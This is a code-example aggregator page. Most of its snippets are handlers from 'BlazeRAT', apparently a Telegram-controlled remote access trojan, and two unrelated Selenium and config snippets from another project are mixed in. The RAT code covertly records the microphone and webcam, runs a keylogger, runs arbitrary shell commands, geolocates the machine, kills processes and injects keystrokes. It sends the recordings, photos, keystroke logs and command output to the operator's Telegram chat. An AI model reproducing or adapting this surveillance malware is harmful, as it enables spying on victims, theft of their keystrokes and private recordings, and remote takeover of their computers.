예제 #1
0
def Handle(callback: dict, bot) -> None:
    text = callback.data
    chatid = callback.from_user.id
    # Start microphone recording
    if "Enable" in text:
        # Start voice recording
        voice = _StartAsync()
        if voice != False:
            Log(f"Microphone >> Start voice recording", chatid)
            bot.send_message(chatid, Messages.microphone_recording_started)
            bot.send_chat_action(chatid, "record_audio")
        # Send error message if recording already started
        else:
            bot.send_message(chatid, Messages.microphone_recording_not_stopped)
    # Stop microphone recording
    elif "Disable" in text:
        # Send recorded voice message
        voice = _Stop()
        if voice != False:
            Log(f"Microphone >> Stop voice recording", chatid)
            bot.send_chat_action(chatid, "upload_audio")
            bot.send_voice(
                chat_id=chatid, voice=voice,
                reply_to_message_id=callback.message.message_id,
                caption=Messages.microphone_recording_stopped
            )
        # Send error message if recording not started
        else:
            bot.send_message(chatid, Messages.microphone_recording_not_started)
예제 #2
0
파일: webcamera.py 프로젝트: MLX15/BlazeRAT
def Handle(callback: dict, bot) -> None:
    text = callback.data
    chatid = callback.from_user.id
    device = 0
    # Detect camera device
    if "_" in text:
        device = int(text.split('_')[-1])
    # Take screenshot from webcamera
    if "Screenshot" in text:
        bot.send_chat_action(chatid, "upload_photo")
        # Check camera
        if not _CheckCamera(device):
            return bot.send_message(chatid,
                                    Messages.webcam_failed_open % device)
        # Log
        Log(f"Webcam >> Create screenshot from device {device}", chatid)
        # Take picture
        screenshot = _CaptureImage(device)
        if screenshot != False:
            bot.send_photo(
                chatid,
                photo=screenshot,
                caption=Messages.webcam_screenshot_captured,
            )
        # Send error message
        else:
            bot.send_message(chatid, Messages.webcam_failed_open % device)
    # Start webcam recording
    if "Enable" in text:
        # Check camera
        if not _CheckCamera(device):
            return bot.send_message(chatid,
                                    Messages.webcam_failed_open % device)
        # Log
        Log(f"Webcam >> Start video recording from device {device}", chatid)
        # Start image recording
        video = _StartAsync(device)
        if video != False:
            bot.send_message(chatid, Messages.webcam_recording_started)
            bot.send_chat_action(chatid, "record_video")
        # Send error message if recording already started
        else:
            bot.send_message(chatid, Messages.webcam_recording_not_stopped)
    # Stop microphone recording
    elif "Disable" in text:
        # Send recorded voice message
        video = _Stop()
        if video != False:
            Log(f"Webcam >> Stop video recording from device {device}", chatid)
            bot.send_chat_action(chatid, "upload_video")
            bot.send_video_note(
                chatid,
                video,
                reply_to_message_id=callback.message.message_id,
            )
            bot.send_message(chatid, Messages.webcam_recording_stopped)
        # Send error message if recording not started
        else:
            bot.send_message(chatid, Messages.webcam_recording_not_started)
예제 #3
0
파일: shell.py 프로젝트: MLX15/BlazeRAT
def ToggleSession(chatid: int) -> str:
    global sessions
    if SessionExists(chatid):
        sessions.remove(chatid)
        Log("Shell >> Session closed", chatid)
        return Messages.shell_session_closed
    else:
        sessions.append(chatid)
        Log("Shell >> Session opened", chatid)
        return Messages.shell_session_opened
예제 #4
0
파일: location.py 프로젝트: MLX15/BlazeRAT
def GetResultIp(message, bot) -> Union[bool, dict]:
    chatid = message.chat.id
    # Log
    Log("Location >> Trying get coordinates based on IP address", chatid)
    result = IpApiRequest()
    if not result:
        bot.send_message(chatid, Messages.location_api_request_failed)
        return False

    return result
예제 #5
0
def KillProcess(callback: dict, bot):
    pid = int(callback.data[2:])
    chatid = callback.from_user.id
    Log(f"TaskManager >> Kill process {pid}", chatid)
    process = None
    try:
        process = Process(pid)
        if process != None:
            print(process)
            name = process.name()
            process.kill()
    except Exception as error:
        bot.send_message(chatid, Messages.taskmanager_process_kill_failed % (pid, error))
    else:
        bot.send_message(chatid, Messages.taskmanager_process_kill_success % (name, pid))
예제 #6
0
파일: shell.py 프로젝트: MLX15/BlazeRAT
def Run(command: str, chatid: int) -> str:
    Log(f"Shell >> Run command {command}", chatid)
    # Skip empty command
    if len(command) < 2:
        return Messages.shell_command_is_empty
    # Change working directory
    if command[:2] == "cd":
        return ChangeDir(command[3:])
    # Get current directory
    elif command[:3] == "pwd":
        return Pwd()
    # Exit command
    elif command[:4] == "exit":
        return ToggleSession(chatid)
    # Execute system command
    elif len(command) > 0:
        output = System(command)
        return Messages.shell_command_executed % output
예제 #7
0
def Handle(callback: dict, bot) -> None:
    global __keylogger
    chatid = callback.from_user.id
    action = callback.data[:-9]
    # Log
    Log("Keylogger >> Run action " + action, chatid)
    # Action
    bot.send_chat_action(chatid, "typing")
    # Enable keylogger
    if action == "Enable":
        if __keylogger.IsActive():
            result = Messages.keylogger_recording_not_stopped
        else:
            # Move logs when logger restarted
            logs = __keylogger.FetchLogs()
            __keylogger = Logger(logs)
            __keylogger.Start()
            result = Messages.keylogger_recording_started
    # Disable keylogger
    elif action == "Disable":
        if not __keylogger.IsActive():
            result = Messages.keylogger_recording_not_started
        else:
            __keylogger.Stop()
            result = Messages.keylogger_recording_stopped
    # Get keylogs
    elif action == "GetData":
        out = __keylogger.FetchLogs()
        if len(out) < 5:
            result = "Logs not found"
        else:
            obj = BytesIO()
            obj.write(out.encode("utf8"))
            return bot.send_document(chatid,
                                     obj.getvalue(),
                                     caption=Messages.keylogger_logs_received)
    # Clean logs
    elif action == "Clean":
        __keylogger.CleanLogs()
        result = Messages.keylogger_logs_cleaned
    # Send result
    bot.send_message(chatid, result)
예제 #8
0
파일: keyboard.py 프로젝트: MLX15/BlazeRAT
def SendKeyboard(chatid, bot) -> None:
    mk = "SNDKEY_"
    Log("Keyboard >> Send keyboard ", chatid)

    for keys in [
        [*special_keys][0:12],  # Main
        [*special_keys][12:18],  # arrows
        [*special_keys][18:30]
    ]:  # F1-F12
        markup = types.InlineKeyboardMarkup(row_width=3)
        for key in range(1, len(keys), 3):

            k1 = keys[key - 1]
            k2 = keys[key]
            k3 = keys[key + 1]

            markup.add(
                types.InlineKeyboardButton(text=k1, callback_data=mk + k1),
                types.InlineKeyboardButton(text=k2, callback_data=mk + k2),
                types.InlineKeyboardButton(text=k3, callback_data=mk + k3),
            )

        bot.send_message(chatid, "keyboard", reply_markup=markup)
예제 #9
0
def ShowProcesses(message: dict, bot) -> None:
    chatid = message.chat.id
    bot.send_chat_action(chatid, "typing")
    Log("TaskManager >> Get process list", chatid)
    username = getlogin()
    is_root = geteuid() == 0
    if is_root: username = "******"
    # Get processes list
    processes = []
    for process in process_iter(['pid', 'name', 'username']):
        # Если юзер - root, то выводим все процессы
        if is_root:
            processes.append(process)
        # Если юзер не рут то выводим только его процессы
        else:
            if process.info["username"] == username:
                processes.append(process)
    # Create inline keyboard
    markup = types.InlineKeyboardMarkup()
    for process in processes:
        markup.add(types.InlineKeyboardButton(text=process.info["name"], callback_data="TM" + str(process.info["pid"])))
    # Show
    bot.send_message(chatid, Messages.taskmanager_process_list % (username, len(processes)), reply_markup=markup)
예제 #10
0
파일: location.py 프로젝트: MLX15/BlazeRAT
def GetResultBSSID(message, bot) -> Union[bool, dict]:
    chatid = message.chat.id
    # Log
    Log("Location >> Trying get coordinates based on BSSID address", chatid)
    # Detect default gateway ip
    gateway = GetGateway()
    if not gateway:
        bot.send_message(chatid, Messages.location_gateway_detection_failed)
        return False
    # Get gateway mac address
    try:
        bssid = get_mac_address(ip=gateway, network_request=True)
    except Exception as error:
        print(error)
        bot.send_message(chatid, Messages.location_arp_request_failed)
        return False
    # Get BSSID information
    result = BssidApiRequest(bssid)
    if not result:
        bot.send_message(chatid, Messages.location_api_request_failed)
        return False

    return result
예제 #11
0
class MainTestCase(unittest.TestCase):
    # 运行时代码输出日志对象
    logger = Log(level='info', log_path=cfg.get("logs", "path"), file_pre='script_')

    base_url = cfg.get("projects", "base_url")
    project_path = cfg.get("projects", "project_path")
    log_path = cfg.get("logs", "path") + '/' + cfg.get("logs", "pre") + '%s.log' % time.strftime("%Y-%m-%d %H_%M_%S")
    webdriver_log = cfg.get("webdriver", "log") + '/' + cfg.get("webdriver", "logfile") + '-%s.log' % time.strftime("%Y-%m-%d %H_%M_%S")
    # 脚本标识-标题
    script_name = '脚本标题'
    # 脚本标识-ID
    script_id = '脚本ID'


    '''设置浏览器驱动类型'''
    def init(self, driver='firefox', time_to_wait=10 ):
        self.target_url = self.base_url + self.project_path
        self.verificationErrors = []

        # 以下变量可以在脚本中重写 ============
        self.accept_next_alert = True
        # 以上变量可以在脚本中重写 ============

        if driver == 'firefox':
            if (cfg.get("webdriver", "enabled") == "off"):
                # 如果使用最新firefox需要屏蔽下面这句
                self.driver = webdriver.Firefox()
            else:
                # 如果使用最新firefox需要使用下面这句
                self.driver = webdriver.Firefox(log_path=self.webdriver_log)
        elif driver == 'chrome':
            # chrome
            options = webdriver.ChromeOptions()
            prefs = {
                'profile.default_content_setting_values':
                    {'notifications': 2}
            }
            options.add_experimental_option('prefs', prefs)
            self.driver = webdriver.Chrome(chrome_options=options)

        # 等待响应时长
        self.driver.implicitly_wait(time_to_wait)



    def is_element_present(self, how, what):
        try:
            self.driver.find_element(by=how, value=what)
        except NoSuchElementException as e:
            return False
        return True

    def is_alert_present(self):
        try:
            self.driver.switch_to_alert()
        except NoAlertPresentException as e:
            return False
        return True

    def close_alert_and_get_its_text(self):
        try:
            alert = self.driver.switch_to_alert()
            alert_text = alert.text
            if self.accept_next_alert:
                alert.accept()
            else:
                alert.dismiss()
            return alert_text
        finally:
            self.accept_next_alert = True

    def tearDown(self):
        self.driver.quit()
        self.assertEqual([], self.verificationErrors)
예제 #12
0
파일: keyboard.py 프로젝트: MLX15/BlazeRAT
def SendKeyText(keys: str, chatid: int) -> None:
    Log("Keyboard >> Send text " + keys, chatid)
    return controller.type(keys)
예제 #13
0
파일: keyboard.py 프로젝트: MLX15/BlazeRAT
def SendKeyPress(key: str, chatid: int) -> None:
    if key in special_keys:
        Log("Keyboard >> Send key press " + key, chatid)
        controller.press(special_keys[key])
        controller.release(special_keys[key])
예제 #14
0
파일: config.py 프로젝트: tian848-tim/trunk
 def __init__(self):
     self.log = Log(cfg.get("logs", "path"), cfg.get("logs", "pre"), cfg.get("logs", "level"))